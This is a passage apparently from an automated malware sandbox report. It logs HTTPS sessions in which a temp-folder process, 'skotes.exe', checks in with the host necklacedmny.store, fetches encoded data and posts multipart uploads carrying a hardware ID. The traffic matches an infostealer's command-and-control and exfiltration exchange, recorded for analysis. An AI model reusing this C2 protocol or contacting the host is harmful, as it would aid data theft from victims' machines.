2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 0d c7 0c 11 a8 e6 da 2c a3 f9 72 ea 12 49 a7 dc ef af 72 f9 f5 2f fe 57 15 28 49 6c 4a bc 22 82 f3 e5 57 01 48 bb 40 0c e0 8c 86 05 94 1a 34 0f 9f 0d 1f 16 82 88 d9 51 70 38 81 91 2b 16 e3 c9 9f 61 4d 60 a4 0a b9 9a 1a 97 08 01 e1 35 3f 8d bc a3 34 f5 9e f1 08 52 27 3b 36 44 a0 5c 0b 35 93 c1 49 17 8d 3f ff 44 0e 0e 53 06 89 5e d9 db e6 38 5c 7c 7d 28 2a 83 cc 8d b0 d4 da 12 8d a6 62 a1 f5 4d c0 d1 9d bf a2 55 b7 dc 76 d4 80 2a d7 f7 84 af c7 65 a0 d7 c5 67 ab 52 c8 cd 51 ec 9c 74 dc d7 0b 85 69 fb be 12 3a eb ff 7f c7 7b b4 dc 83 b9 12 d3 fb cf 19 6c 1e 86 c0 a9 ec e3 54 72 de 19 62 59 d5 c2 87 c2 69 04 a7 b1 29 3e 73 fc d6 73 8d ef c2 a2 bd 62 75 f7 95 1b ed 5c 5f aa 57 23 b1 1a df c5 ce 35 b5 14 0d 5f 6f ae d4 47 22 f9 eb a8 ee ee 67 18 83 18 42 71 f6 Data Ascii: ,rIr/W(IlJ"WH@4Qp8+aM`5?4R';6D\5I?DS^8\\|}(bMUvegRQti:{lTrbYi)>ssbu\_W#5_oG"gBq
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 26 e3 95 cf 37 0c e0 0a 04 68 38 ef a6 e8 ad ee 04 e4 36 b8 fe d8 83 fb 84 10 21 8f 5f 90 ec ef ef fa b0 81 60 72 a1 c9 c3 bb e0 a7 7e a4 ff 06 c4 28 a9 95 f6 26 63 27 00 9c ce df b2 83 02 c8 87 62 24 39 10 7b 8f c0 1d 4b 1f be d9 0f 2b a9 b7 89 c4 27 c2 7d 70 b8 ff a6 a7 58 02 82 3c bf eb 40 d4 4b 54 0c 48 2e 71 b9 0b 7d df cc d1 46 36 3d 6e e3 aa 21 c3 dd c5 28 09 c0 d6 89 7a fa 0e b0 b8 14 3f e9 77 7e 18 ef ba cd 94 d0 6a e6 2f 95 65 d6 40 f4 b3 a3 e1 13 b7 d0 15 01 c1 d4 45 8a 59 ab 33 2a a5 7e 28 e2 c7 94 85 cc a5 97 c7 5c 03 98 fd aa 44 27 58 af 71 ce 42 b5 65 09 aa 5a 7a 21 eb f0 bc 26 26 68 40 aa cd 2b 80 6f b7 d1 3b 8d 0f 5b a0 cc 43 21 b2 50 39 b3 c0 aa 58 7d 87 10 36 97 de d1 1c 79 86 93 2d 4c eb d9 a3 e7 0d 18 9d 7f 52 0d 99 b5 dc af 95 7e c3 Data Ascii: &7h86!_`r~(&c'b$9{K+'}pX<@KTH.q}F6=n!(z?w~j/e@EY3*~(\D'XqBeZz!&&h@+o;[C!P9X}6y-LR~
2024-11-01 11:34:57 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d6m1cnludkhf5qdjbfb3cod942; expires=Tue, 25-Feb-2025 05:21:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AwkTisCasoPDIu7qx1EjbZCBomx8SaoJ5Sgprf77L1Beyms4UxY2xdnKK883gXJy2goeUxjiNHaafOKAgULr%2B%2FcsFF5zeqqM1gcgiVmlC8%2BeFo1LzCaXSUuS8HfgF8ZXO9IvS%2Fs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb94180fda6c76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1136&sent=229&recv=618&lost=0&retrans=0&sent_bytes=2846&recv_bytes=569800&delivery_rate=2475213&cwnd=251&unsent_bytes=0&cid=700ba999a14522e1&ts=1743&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50042	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:58 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 11:34:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:34:59 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=89s5nd6jvov0u4i222ck5il18j; expires=Tue, 25-Feb-2025 05:21:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMlZjutf6k4h4DyIAqmlvo3%2BHSccCJjld6iuXOyUVf%2Fey7SvQ4kfn9bMsw5TDC8kiek4tDv1n%2BtD1Vp3AtY26C1i7GyxXtEYTa65XaMdi%2Fk%2BvB%2BqX6XFU5gTzozo7ELdkRFvcwg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb9428cbf06b83-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1052&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2721804&cwnd=241&unsent_bytes=0&cid=0d56e8e99f9b0990&ts=546&x=0"
2024-11-01 11:34:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:34:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50045	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:59 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:34:59 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 11:35:00 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=56vvu6eq6teaa22hdgf6svjl9s; expires=Tue, 25-Feb-2025 05:21:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pUctfymJimR5pLCFrMTfwmaoFopRjcvG5bdAJo8nDB3JoWt7VWR2a%2By9BdbNO7k9m9%2BvWp6QC%2Bfyg1zccysneL2cn5SaATCYaFSekNg6hayDOuRUL3Jz%2FpOjKX2bjJ6ifhX36c0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb9430294aeaee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1206&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2401326&cwnd=251&unsent_bytes=0&cid=7e320fd134f23cce&ts=446&x=0"
2024-11-01 11:35:00 UTC	354	IN	Data Raw: 31 64 39 34 0d 0a 4a 42 36 46 68 4f 62 57 50 2b 4b 76 46 67 6b 2f 2f 4d 30 36 77 4d 34 61 7a 6b 6f 4a 65 6c 4c 57 4d 50 37 42 54 69 4e 6d 52 43 31 66 50 50 4f 6d 33 4f 49 54 77 4e 78 7a 4b 77 57 49 76 30 2b 6c 34 6a 69 76 4c 69 74 41 4e 4c 64 63 6a 61 52 69 41 52 41 70 44 78 35 34 35 4f 69 56 73 78 50 41 79 6d 34 72 42 61 65 32 47 4b 57 67 4f 50 52 6f 62 42 41 77 74 31 79 63 6f 43 56 4d 46 69 68 4f 54 48 4c 69 37 49 4f 31 57 34 50 44 65 32 78 61 6d 61 78 51 72 71 64 33 70 69 63 72 56 6e 43 7a 53 74 7a 37 62 47 34 44 4d 45 78 70 66 2f 62 76 78 4b 73 54 6d 59 31 7a 5a 78 33 47 37 31 75 6c 72 48 61 6f 4c 6d 49 53 4f 72 35 55 6e 61 55 6b 55 77 38 69 52 55 78 38 34 65 32 4a 76 45 2b 4f 79 58 78 6e 58 4a 4f 73 47 4f 7a 73 66 37 52 6f 4d 31 68 6a 68 6c 47 4e 73 Data Ascii: 1d94JB6FhObWP+KvFgk//M06wM4azkoJelLWMP7BTiNmRC1fPPOm3OITwNxzKwWIv0+l4jivLitANLdcjaRiARApDx545OiVsxPAym4rBae2GKWgOPRobBAwt1ycoCVMFihOTHLi7IO1W4PDe2xamaxQrqd3picrVnCzStz7bG4DMExpf/bvxKsTmY1zZx3G71ulrHaoLmISOr5UnaUkUw8iRUx84e2JvE+OyXxnXJOsGOzsf7RoM1hjhlGNs
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 75 56 32 53 78 58 39 67 57 49 79 6b 55 61 2b 68 65 4b 45 69 5a 42 73 77 73 31 69 57 72 43 5a 46 43 53 74 4a 52 6e 79 6e 71 4d 53 7a 52 63 43 56 4e 45 68 59 6a 71 68 55 74 4f 35 43 37 44 63 6c 41 58 43 7a 58 74 7a 37 62 45 6b 42 4a 55 78 4e 63 2b 54 75 6a 36 5a 64 6b 73 74 35 62 6b 2b 59 71 6c 61 6f 72 32 71 6d 4a 6d 30 62 4f 62 39 62 6d 61 51 6f 41 55 70 6d 53 46 34 38 76 36 61 6c 75 56 61 4d 78 32 4e 72 48 59 48 68 51 65 4b 72 64 4f 78 77 4b 78 77 78 73 46 4f 59 72 53 4a 46 43 43 42 42 53 33 50 68 37 49 53 7a 56 34 6a 46 64 57 5a 57 6b 61 39 64 72 36 68 2b 6f 43 6c 75 57 48 37 30 56 59 54 6a 64 41 45 71 49 55 78 55 50 74 4c 6c 69 72 70 61 6c 6f 31 72 4a 55 54 65 71 46 54 69 39 44 69 69 4c 57 51 4b 4d 61 5a 58 6b 72 45 67 52 41 49 72 54 45 68 38 34 75 47 Data Ascii: uV2SxX9gWIykUa+heKEiZBsws1iWrCZFCStJRnynqMSzRcCVNEhYjqhUtO5C7DclAXCzXtz7bEkBJUxNc+Tuj6Zdkst5bk+Yqlaor2qmJm0bOb9bmaQoAUpmSF48v6aluVaMx2NrHYHhQeKrdOxwKxwxsFOYrSJFCCBBS3Ph7ISzV4jFdWZWka9dr6h+oCluWH70VYTjdAEqIUxUPtLlirpalo1rJUTeqFTi9DiiLWQKMaZXkrEgRAIrTEh84uG
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 6f 31 72 4a 55 54 65 71 46 54 69 39 44 69 67 49 57 73 54 4f 72 42 53 6d 36 34 70 51 67 4d 6c 51 6b 46 32 36 65 47 41 75 46 53 4e 79 33 52 73 57 5a 75 39 58 61 75 67 64 4f 78 6d 4b 78 38 6f 39 41 72 63 6a 43 74 58 42 77 6c 4d 56 33 57 6e 2b 63 71 74 48 59 66 42 4e 44 4d 64 6d 61 70 51 71 61 70 77 72 44 70 75 46 6a 75 31 57 4a 71 69 49 55 30 43 4a 6b 35 47 65 75 76 6d 67 37 4e 50 6b 73 68 79 65 56 66 65 34 52 69 6c 74 44 6a 30 61 46 30 49 4a 36 56 45 33 70 59 76 54 77 6f 68 57 51 5a 6a 71 66 2f 45 73 31 48 41 6c 54 52 67 58 5a 4b 6f 55 4b 53 6f 63 4b 4d 6e 59 67 6f 78 75 46 79 4f 70 43 78 49 43 69 6c 44 54 33 48 67 36 34 2b 2b 55 49 54 4b 64 53 73 54 33 71 68 41 34 76 51 34 6d 6a 68 6d 46 42 36 2f 58 70 58 6a 4d 77 38 64 5a 6b 68 4b 50 4c 2b 6d 67 4c 68 56 Data Ascii: o1rJUTeqFTi9DigIWsTOrBSm64pQgMlQkF26eGAuFSNy3RsWZu9XaugdOxmKx8o9ArcjCtXBwlMV3Wn+cqtHYfBNDMdmapQqapwrDpuFju1WJqiIU0CJk5Geuvmg7NPkshyeVfe4RiltDj0aF0IJ6VE3pYvTwohWQZjqf/Es1HAlTRgXZKoUKSocKMnYgoxuFyOpCxICilDT3Hg64++UITKdSsT3qhA4vQ4mjhmFB6/XpXjMw8dZkhKPL+mgLhV
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 35 59 6d 71 68 63 70 4b 4d 34 34 6d 68 73 41 48 44 73 45 72 4f 45 47 51 4d 6c 48 41 39 5a 4d 76 36 6d 67 37 67 64 32 49 31 34 61 46 47 57 6f 46 36 72 6f 48 4b 6c 49 32 63 54 4e 4c 68 62 6d 61 55 74 52 41 45 6e 53 30 70 32 34 65 57 48 75 31 4b 50 78 54 51 6c 48 5a 6d 33 47 50 72 73 58 62 73 6a 5a 52 35 77 71 78 79 46 34 79 74 4e 52 48 34 50 53 6e 58 68 34 49 47 34 58 49 62 46 63 57 4e 5a 6e 36 6c 65 6f 61 4e 38 71 53 6c 6b 48 44 79 36 57 4a 32 69 49 45 6f 4c 4c 55 6f 47 4d 71 66 68 6e 50 51 46 77 50 78 33 66 55 71 4f 6f 78 69 39 34 6d 48 73 4c 32 64 59 61 50 52 54 6a 71 6b 6d 54 77 45 70 53 6b 56 7a 34 4f 75 43 75 46 65 4a 78 58 4a 6b 56 49 79 73 56 4b 79 72 64 71 41 6d 5a 68 49 7a 75 52 4c 53 34 79 74 5a 52 48 34 50 61 6e 76 71 79 49 2b 34 57 73 44 53 4f Data Ascii: 5YmqhcpKM44mhsAHDsErOEGQMlHA9ZMv6mg7gd2I14aFGWoF6roHKlI2cTNLhbmaUtRAEnS0p24eWHu1KPxTQlHZm3GPrsXbsjZR5wqxyF4ytNRH4PSnXh4IG4XIbFcWNZn6leoaN8qSlkHDy6WJ2iIEoLLUoGMqfhnPQFwPx3fUqOoxi94mHsL2dYaPRTjqkmTwEpSkVz4OuCuFeJxXJkVIysVKyrdqAmZhIzuRLS4ytZRH4PanvqyI+4WsDSO
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 76 58 37 72 73 49 4f 77 65 62 41 67 67 74 78 43 74 74 53 39 58 44 79 74 44 42 6d 4f 70 2f 38 53 7a 55 63 43 56 4e 47 31 53 6c 36 78 58 6f 36 56 30 6f 53 31 69 48 54 47 79 56 70 61 70 4c 45 63 43 4a 30 70 4d 66 2b 62 73 6a 62 4e 56 68 38 35 6d 4b 78 50 65 71 45 44 69 39 44 69 46 4c 33 6b 57 49 50 52 4e 30 72 70 73 52 67 68 6d 46 77 5a 34 37 65 6d 41 73 31 47 47 79 48 4a 6d 58 4a 47 75 57 4b 32 6f 63 36 55 75 61 68 55 31 75 56 61 4f 71 53 64 4f 43 43 39 44 53 7a 79 70 70 6f 4f 73 48 64 69 4e 52 57 5a 54 6b 4b 68 4f 34 72 4d 32 74 57 68 73 46 48 44 73 45 70 32 76 49 30 49 4c 4a 55 78 48 64 76 58 30 69 4c 31 56 68 63 46 2f 5a 56 75 4d 71 56 65 72 72 33 75 6c 4c 32 4d 55 4f 72 64 56 33 4f 31 73 52 68 78 6d 46 77 5a 66 38 50 61 4a 39 45 4c 4f 31 44 52 73 55 64 Data Ascii: vX7rsIOwebAggtxCttS9XDytDBmOp/8SzUcCVNG1Sl6xXo6V0oS1iHTGyVpapLEcCJ0pMf+bsjbNVh85mKxPeqEDi9DiFL3kWIPRN0rpsRghmFwZ47emAs1GGyHJmXJGuWK2oc6UuahU1uVaOqSdOCC9DSzyppoOsHdiNRWZTkKhO4rM2tWhsFHDsEp2vI0ILJUxHdvX0iL1VhcF/ZVuMqVerr3ulL2MUOrdV3O1sRhxmFwZf8PaJ9ELO1DRsUd
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 76 6e 32 71 4a 32 51 52 4f 62 42 61 6e 36 4d 6f 52 51 4d 6a 54 45 70 33 34 4f 57 4c 73 46 53 4f 78 48 73 72 45 39 36 6f 51 4f 4c 30 4f 49 30 7a 61 42 51 39 39 45 33 53 75 6d 78 47 43 47 59 58 42 6e 44 70 34 34 53 2b 57 34 54 49 63 6d 46 59 6e 71 52 62 72 61 68 2b 71 43 64 72 45 7a 6d 31 56 4a 6d 70 4a 30 63 4a 4a 55 6c 41 50 4b 6d 6d 67 36 77 64 32 49 31 55 63 46 43 53 71 42 69 39 34 6d 48 73 4c 32 64 59 61 50 52 5a 6b 4b 63 72 51 51 6b 6c 52 30 4e 34 37 65 4f 45 76 45 2b 49 7a 58 4e 35 54 35 36 6d 58 61 36 76 65 4b 67 75 59 68 34 7a 73 42 4c 53 34 79 74 5a 52 48 34 50 61 33 44 67 7a 34 4f 76 48 5a 2b 44 62 53 74 61 6b 75 38 41 34 71 31 7a 70 69 64 6d 47 7a 61 33 57 5a 6d 70 4c 55 59 4d 4b 31 31 46 63 2b 6a 69 68 4c 74 62 68 73 78 37 62 56 71 58 72 6c 43 Data Ascii: vn2qJ2QRObBan6MoRQMjTEp34OWLsFSOxHsrE96oQOL0OI0zaBQ99E3SumxGCGYXBnDp44S+W4TIcmFYnqRbrah+qCdrEzm1VJmpJ0cJJUlAPKmmg6wd2I1UcFCSqBi94mHsL2dYaPRZkKcrQQklR0N47eOEvE+IzXN5T56mXa6veKguYh4zsBLS4ytZRH4Pa3Dgz4OvHZ+DbStaku8A4q1zpidmGza3WZmpLUYMK11Fc+jihLtbhsx7bVqXrlC
2024-11-01 11:35:00 UTC	381	IN	Data Raw: 68 5a 4d 44 6a 71 7a 51 70 75 30 49 77 46 4b 5a 6b 41 47 4a 4e 36 6d 6a 62 4e 47 6b 64 74 35 65 31 72 65 6b 42 62 69 74 44 6a 30 61 46 34 62 50 72 70 56 69 72 4a 68 5a 68 49 73 53 46 5a 37 38 4f 6e 45 2b 68 32 47 6a 53 77 34 45 39 36 72 53 65 4c 30 4b 50 35 7a 50 6b 74 6e 35 41 43 44 37 54 55 42 45 6d 59 58 46 44 4b 6e 39 4d 54 73 48 63 66 4f 5a 6e 6c 62 6e 62 6c 62 35 5a 4a 47 69 7a 4a 6d 48 69 65 6c 62 4b 4b 6b 4e 6b 77 43 4d 56 34 4b 61 65 54 6f 69 72 4e 4c 77 49 4d 30 5a 42 33 47 6c 68 6a 71 37 45 66 69 61 48 4e 59 61 50 52 6e 6e 36 30 69 52 68 49 33 41 6d 46 6d 36 75 43 54 70 52 33 4f 6a 58 49 72 42 63 37 68 47 4b 61 39 4f 50 52 34 4f 55 4e 6c 35 77 58 4d 38 54 4d 50 48 57 5a 5a 42 69 53 31 71 4d 53 6d 48 64 69 4e 4d 32 68 50 6a 4b 6c 62 74 4b 38 2f Data Ascii: hZMDjqzQpu0IwFKZkAGJN6mjbNGkdt5e1rekBbitDj0aF4bPrpVirJhZhIsSFZ78OnE+h2GjSw4E96rSeL0KP5zPktn5ACD7TUBEmYXFDKn9MTsHcfOZnlbnblb5ZJGizJmHielbKKkNkwCMV4KaeToirNLwIM0ZB3Glhjq7EfiaHNYaPRnn60iRhI3AmFm6uCTpR3OjXIrBc7hGKa9OPR4OUNl5wXM8TMPHWZZBiS1qMSmHdiNM2hPjKlbtK8/
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 32 36 64 38 0d 0a 6e 4a 4a 37 75 69 56 6b 45 7a 47 4b 62 4c 4b 75 4c 55 49 4b 5a 48 35 51 63 66 66 6c 67 62 4e 6a 76 73 4e 7a 66 31 71 51 71 56 6a 69 34 6a 69 6a 61 44 4d 68 63 50 77 53 6f 2b 31 73 57 55 52 2b 44 33 4e 2f 36 65 69 44 6f 6b 7a 4e 37 6d 4a 6d 55 70 57 75 47 4f 7a 73 66 75 78 77 4f 31 5a 77 73 45 50 63 2b 33 77 54 58 33 4d 63 45 53 79 31 2b 63 71 74 48 5a 61 4e 4c 44 6b 54 33 72 30 59 2b 75 77 2f 6f 69 56 71 47 7a 36 33 51 49 36 6c 4c 31 63 48 59 58 46 34 58 65 72 74 69 4c 6c 53 69 2f 4e 4b 53 6c 43 56 6f 31 57 74 70 30 61 53 50 57 67 57 50 72 4e 45 6a 65 4e 69 41 51 74 6d 46 33 38 38 72 36 61 37 2b 68 32 59 6a 53 77 72 61 4a 32 68 56 71 57 36 61 65 45 4a 5a 68 4d 38 75 56 32 58 34 32 49 42 41 6d 59 58 46 6a 4b 6e 34 70 58 30 42 64 43 66 4c Data Ascii: 26d8nJJ7uiVkEzGKbLKuLUIKZH5QcfflgbNjvsNzf1qQqVji4jijaDMhcPwSo+1sWUR+D3N/6eiDokzN7mJmUpWuGOzsfuxwO1ZwsEPc+3wTX3McESy1+cqtHZaNLDkT3r0Y+uw/oiVqGz63QI6lL1cHYXF4XertiLlSi/NKSlCVo1Wtp0aSPWgWPrNEjeNiAQtmF388r6a7+h2YjSwraJ2hVqW6aeEJZhM8uV2X42IBAmYXFjKn4pX0BdCfL
2024-11-01 11:35:00 UTC	1369	IN	Data Raw: 45 56 4b 53 72 59 71 73 75 54 54 68 77 2b 68 4b 54 34 33 52 34 52 47 34 50 65 54 4b 6e 2f 73 54 73 48 62 58 4f 65 6d 56 61 69 4c 34 56 68 37 74 37 76 43 35 6f 57 48 37 30 56 4e 7a 37 66 41 39 45 49 6c 34 47 4a 4c 65 30 33 2b 45 4f 31 35 30 6d 64 42 4f 48 37 30 37 69 39 43 72 69 61 48 6c 59 61 50 51 56 6e 37 45 2b 52 77 63 77 54 41 46 43 32 63 43 48 70 56 65 68 77 47 52 73 59 36 43 36 57 36 79 69 66 37 6f 35 4b 31 5a 77 75 78 4c 45 6d 6d 77 4a 53 43 42 4d 55 44 7a 59 71 4d 53 73 48 64 69 4e 51 57 68 54 6b 4b 68 4f 73 2b 46 65 72 7a 6c 68 4f 54 32 6b 56 64 7a 74 62 45 64 45 66 68 77 49 50 4f 50 33 78 4f 77 4e 30 70 59 68 4f 41 72 4f 2f 55 66 73 74 54 69 36 61 44 4e 4b 66 76 52 41 33 50 74 73 42 67 63 30 58 55 42 2f 38 65 58 44 69 6d 4f 31 7a 6e 70 6c 57 6f Data Ascii: EVKSrYqsuTThw+hKT43R4RG4PeTKn/sTsHbXOemVaiL4Vh7t7vC5oWH70VNz7fA9EIl4GJLe03+EO150mdBOH707i9CriaHlYaPQVn7E+RwcwTAFC2cCHpVehwGRsY6C6W6yif7o5K1ZwuxLEmmwJSCBMUDzYqMSsHdiNQWhTkKhOs+FerzlhOT2kVdztbEdEfhwIPOP3xOwN0pYhOArO/UfstTi6aDNKfvRA3PtsBgc0XUB/8eXDimO1znplWo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50047	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:35:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:35:01 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:35:01 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3f59m4sfnl4fucfvd7r6pfk4ci; expires=Tue, 25-Feb-2025 05:21:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BxWLmSzibZ8KpdtrpXMgM%2BBqm4hcfLcG4MS4zK2tok4TKWVpikHt0lbvD5AGaP0WUqb4tODrpDOPRzgRXZtnN7qARxoenWWWkDqafjP1R09tJin0yFelEVVSq%2FQeGifvULAZ8jM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb94391fb4e5ea-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1089&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=2529257&cwnd=251&unsent_bytes=0&cid=707e8a60b5c975ab&ts=520&x=0"
2024-11-01 11:35:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50049	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:35:02 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:35:02 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; 